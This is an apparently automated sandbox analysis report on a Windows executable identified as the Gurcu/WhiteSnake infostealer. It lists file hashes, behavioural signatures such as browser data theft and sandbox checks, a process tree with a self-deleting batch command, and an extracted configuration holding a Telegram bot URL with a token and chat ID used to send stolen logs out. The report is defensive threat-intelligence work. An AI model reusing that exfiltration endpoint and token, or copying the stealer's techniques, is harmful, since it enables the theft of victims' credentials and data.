Analysis
-
max time kernel
93s -
max time network
98s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
-
submitted
06-12-2024 22:42
General
-
Target
c5e1fd07be471ee2a06dbf2871be795fa09f1023a282c3b428ba4ea61a9ae596.exe
-
Size
5.6MB
-
MD5
63fdb37fe9bef5bf227388ff266128e3
-
SHA1
4e07d5d4cd852890eec051be59f596d9a8c91354
-
SHA256
c5e1fd07be471ee2a06dbf2871be795fa09f1023a282c3b428ba4ea61a9ae596
-
SHA512
d72cf6499c7ec6639ad980dd049eca2052a95714fd54e88ad17af1bed4f1b7c1a20a1fdaf35c129a919fee4ec6e89471d56c4e4f5cdd04ff29a820753eb5bdab
-
SSDEEP
98304:aGl27OuKr+gvhf2U9Nzm31PMoslkqXf0FvUcwti78OqJ7TPBvc8X6Ucz:adOuK6mn9NzgMoYkSIvUcwti7TQlvcie
Malware Config
Extracted
gurcu
https://api.telegram.org/bot7912788699:AAGD1HW4P2288HKKYEhpShtetd37D8GqFZo/sendDocument?chat_id=7781867830&caption=%F0%9F%92%A0DOTSTEALER%F0%9F%92%A0%0A%F0%9F%92%ABNew%20log:%0AIP:%20181.215.176.83%0AUsername:%20Admin%0ALocation:%20United%20Kingdom%20[GB],%20London,%20Englan
Signatures
-
Gurcu family
-
Gurcu, WhiteSnake
Gurcu aka WhiteSnake is a malware stealer written in C#.
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
-
Loads dropped DLL 1 IoCs
-
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Browser Information Discovery 1 TTPs
Enumerate browser information.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Suspicious behavior: EnumeratesProcesses 29 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\c5e1fd07be471ee2a06dbf2871be795fa09f1023a282c3b428ba4ea61a9ae596.exe"C:\Users\Admin\AppData\Local\Temp\c5e1fd07be471ee2a06dbf2871be795fa09f1023a282c3b428ba4ea61a9ae596.exe"1⤵
- Checks computer location settings
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp7BA5.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmp7BA5.tmp.bat2⤵
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1.7MB
MD565ccd6ecb99899083d43f7c24eb8f869
SHA127037a9470cc5ed177c0b6688495f3a51996a023
SHA256aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4
SHA512533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d
-
Filesize
232B
MD53fae983d596e6c84fee379bb88067315
SHA1f19fa090e2ad15e0d41b93b062addf06bc3b2a4a
SHA25638dc95dfbd2820a34eda6e5620d51d17dd602506035268271dcb183497b279c8
SHA5120ea03b21a0feb24481475326f475ce7780e2eb1a9eba521a63d94b03ef97d455615a5adf2f97587e0988133518332ea2ddc751df889dd8fc965238eac40831c8
-
Filesize
116KB
MD5f70aa3fa04f0536280f872ad17973c3d
SHA150a7b889329a92de1b272d0ecf5fce87395d3123
SHA2568d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8
SHA51230675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84
-
Filesize
712KB
-
Filesize
136KB
-
Filesize
10.8MB
-
Filesize
120KB
-
Filesize
424KB
-
Filesize
8KB
-
Filesize
320KB
-
Filesize
472KB
-
Filesize
232KB
-
Filesize
152KB
-
Filesize
3.2MB
-
Filesize
72KB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
40KB
-
Filesize
5.6MB